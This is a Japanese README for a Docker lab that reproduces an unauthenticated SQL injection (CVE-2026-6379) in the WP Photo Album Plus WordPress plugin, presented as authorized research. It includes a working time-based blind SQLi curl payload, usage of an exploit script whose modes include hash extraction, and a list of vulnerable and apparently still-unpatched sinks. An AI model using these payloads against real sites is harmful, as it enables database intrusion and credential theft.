
Dockerベースのラボキットで、WP Photo Album Plusにおける未認証SQLインジェクションであるCVE-2026-6379を対象としています。時間ベースのブラインドPoC、根本原因分析、および許可されたセキュリティ研究のためのパッチ検証が含まれています。
パラメータ: wppa-supersearch
深刻度: CVSS 8.6(高)— WPScan/Wordfence による評価
ベンダー修正: 2026-04-17(WordPressBugBounty ミラー内のコミット d2b0d05d)
公開開示: 2026-04-27(WPScan)
このキットは、自己完結型のDockerラボと動作するPoCを提供し、このバグを最初から最後まで再現・検証・教育できるようにします。
# ラボホスト上で:
cd lab && ./setup.sh
# インストーラが page_id 付きで "=== LAB READY ===" と表示したら:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
脆弱なターゲットはSLEEPプローブに約5秒で応答します。修正済みのターゲットは1秒未満で応答します。
手動ワンライナーチェック:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # このファイル
├── docs/
│ ├── writeup.md # 根本原因 + パッチ分析
│ └── prompts.md # このキットを生成したAIリサーチプロンプト
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # 起動 / 停止 / 削除
│ └── init/install.sh # 冪等なインストーラ(wp-cli)
└── pocs/
├── exploit.py # 時間ベースのブラインドSQLi(probe / version / user / hash)
└── test_oracle.sh # エンドツーエンド統合テスト
wppa_get_photos() はリクエストパラメータ wppa-supersearch をCSV形式の s1,type,s3,DATA として解析します。type='o'(所有者)の場合、DATA はSQL文字列に直接連結されます:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
クォート処理も $wpdb->prepare もありません。wppa-supersearch=,o,,x' OR (...)-- - を設定すると、クォートされた所有者をエスケープして任意のSQLを実行できます。エンドポイントは [wppa] ショートコードをホストする公開フロントエンドページであるため、認証は不要です。
修正では、以前連結されていたすべてのケースを $wpdb->prepare(..., %s) でラップしています。
d2b0d05d)で修正されたシンクCVE-2026-6379パッチは、wppa-functions.php 内の wppa_get_photos() にある6つの個別のSQLシンクを書き換えます。両方のPoCモード(probe と probe-calendar)は独立したシンクにヒットします。他のシンクはペイロードの形状のみが異なります。すべて認証不要で、主要シンクと同じ wppa-occur=N ゲーティングを介して到達可能です。
| # | シンク(脆弱な行) | トリガーパラメータ | PoCモード |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data'(1244行目) | wppa-supersearch=,o,,… | --mode probe(ライブ検証済み) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>'(1237行目) | wppa-supersearch=,n,,… | 未悪用(スラッグフィルタがクォートを除去) |
| 3 | tag — WHERE tags LIKE '%$d%'(1254行目) | wppa-supersearch=,g,,… | wppa_sanitize_tags() により制約あり |
| 4 | カレンダー exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%'(1361行目) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar(ライブ検証済み) |
| 5 | カレンダー timestamp — WHERE timestamp >= $t1 AND timestamp < $t2(1368行目) | wppa-calendar=timestamp&wppa-caldate=… | 数値強制(intval)— 限定的 |
| 6 | カレンダー modified — timestamp と同じ(1375行目) | wppa-calendar=modified&wppa-caldate=… | 数値強制 — 限定的 |
行 #4–#6 では、同じコミットでぶら下がっていた ORDER BY $order フラグメントも削除されました — 下記の「関連する堅牢化」を参照してください。
同じ脆弱なビルドに対して wppa-functions.php をより広範囲に監査したところ、CVE-2026-6379パッチの外側にあるシンクが明らかになりました。これらはWPScan/Wordfenceが公開したものではなく、すべてが同等に悪用可能というわけでもありませんが、ラボがバリアント探索にも役立つようにここに文書化しています。
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — 別の脆弱性の可能性ステータス: 9.1.11.001(パッチ適用後)に存在。d2b0d05d では対処されていません。フォローアップCVEの候補です。
%s はカンマ区切りの IN リストには有効ではありません(常に単一のクォートされた文字列を出力します)。プラグインは、プリペアドステートメントを stripslashes() でラップすることでこれを回避していますが、これは prepare() が追加したばかりのエスケープを除去するため、リスト要素のいずれかが攻撃者によって汚染されている場合、インジェクションが再び開かれます。
代表的な出現箇所: wppa-functions.php の660、711、831、838、889、895、900、971、1028、1034、1041、1122、1144、1190、1410、1414、1465、1470、1476、1481、1491行目。
バリアント分析用のハントクエリ:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — 部分的に対処済みパッチはカレンダー/IN句シンクから ORDER BY $order を削除しましたが、他の場所には残しています。$order はプラグインのランタイム状態(設定テーブル)から設定されるため、悪用にはその状態への書き込みパスが必要です。堅牢化として扱ってください。
wp_strip_all_tags()(#4のバリアント)wp_strip_all_tags はHTMLを除去しますが、SQLは除去しません。クォートされたSQLフラグメントの周囲にこれが出現する場所では、そのフラグメントはインジェクション可能です。caldate 以外にも、連結前にこの関数を通過する他のリクエスト値を監査してください。
| 状態 | probe | probe-calendar |
|---|---|---|
| 脆弱(9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| 修正済み(9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| プラグイン無効 | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
[wppa] ショートコードのないページ | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
実行中のラボでバージョンを切り替える:
# 修正済み:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# プローブを再実行。否定結果になるはずです。
admin / adminadmin を使用します — インターネットに公開しないでください。./setup.sh purge で破棄します(データベースボリュームを削除します)。wppa-functions.php(脆弱版): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php(修正版): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php